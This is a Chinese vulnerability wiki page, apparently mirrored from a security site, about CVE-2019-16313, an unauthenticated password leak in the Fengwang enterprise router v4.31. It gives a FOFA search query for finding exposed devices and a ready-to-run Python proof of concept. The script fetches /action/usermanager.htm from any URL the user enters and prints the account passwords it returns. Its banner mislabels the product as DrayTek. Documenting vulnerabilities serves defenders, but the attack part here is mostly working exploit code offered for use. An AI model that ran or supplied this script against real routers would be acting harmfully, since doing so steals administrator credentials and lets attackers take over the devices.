menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 蜂网互联 chevron_right 蜂网互联 企业级路由器v4.31 密码泄露漏洞 CVE-2019-16313.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    蜂网互联 企业级路由器v4.31 密码泄露漏洞 CVE-2019-16313.md
    3.65 KB / 2021-07-04 06:01:08
        # 蜂网互联 企业级路由器v4.31 密码泄露漏洞 CVE-2019-16313
    
    ## 漏洞描述
    
    蜂网互联企业级路由器v4.31存在接口未授权访问,导致攻击者可以是通过此漏洞得到路由器账号密码接管路由器
    
    ## 漏洞影响
    
    > [!NOTE]
    >
    > 蜂网互联企业级路由器v4.31
    
    ## FOFA
    
    > [!NOTE]
    >
    > app="蜂网互联-互联企业级路由器" 
    
    ## 漏洞复现
    
    ![](http://wikioss.peiqi.tech/vuln/feng-2.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    登录页面登录后可以看到,账号密码存在接口访问
    
    ![](http://wikioss.peiqi.tech/vuln/feng-1.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    而 **/action/usermanager.htm** 存在未授权访问,可通过直接访问获得账号密码
    
    ![](http://wikioss.peiqi.tech/vuln/feng-3.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    > [!NOTE]
    >
    > 不存在漏洞时  state值为 3
    
    ##  漏洞利用POC
    
    ```python
    import requests
    import sys
    import random
    import re
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    
    def title():
        print('+------------------------------------------')
        print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
        print('+  \033[34mVersion: DrayTek企业网络设备                                        \033[0m')
        print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
        print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
        print('+------------------------------------------')
    
    def POC_1(target_url):
        vuln_url = target_url + "/action/usermanager.htm"
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        }
        try:
            requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
            response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
            print("\033[32m[o] 正在请求 {}/action/usermanager.htm \033[0m".format(target_url))
            if "pwd" in response.text and response.status_code == 200:
                print("\033[32m[o] 目标 {}存在漏洞 \033[0m".format(target_url))
                print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))
            else:
                print("\033[31m[x] 不存在漏洞 \033[0m")
                sys.exit(0)
        except Exception as e:
            print("\033[31m[x] 请求失败 \033[0m", e)
            sys.exit(0)
    
    
    
    if __name__ == '__main__':
        title()
        target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
        POC_1(target_url)
    
    ```
    
    ![](http://wikioss.peiqi.tech/vuln/feng-4.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    ## Goby & POC
    
    > [!NOTE]
    >
    > 已上传 https://github.com/PeiQi0/PeiQi-WIKI-POC Goby & POC 目录中
    >
    > IFW8_Enterprise_router_Password_leakage_
    
    ![](http://wikioss.peiqi.tech/vuln/feng-5.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    links
    file_download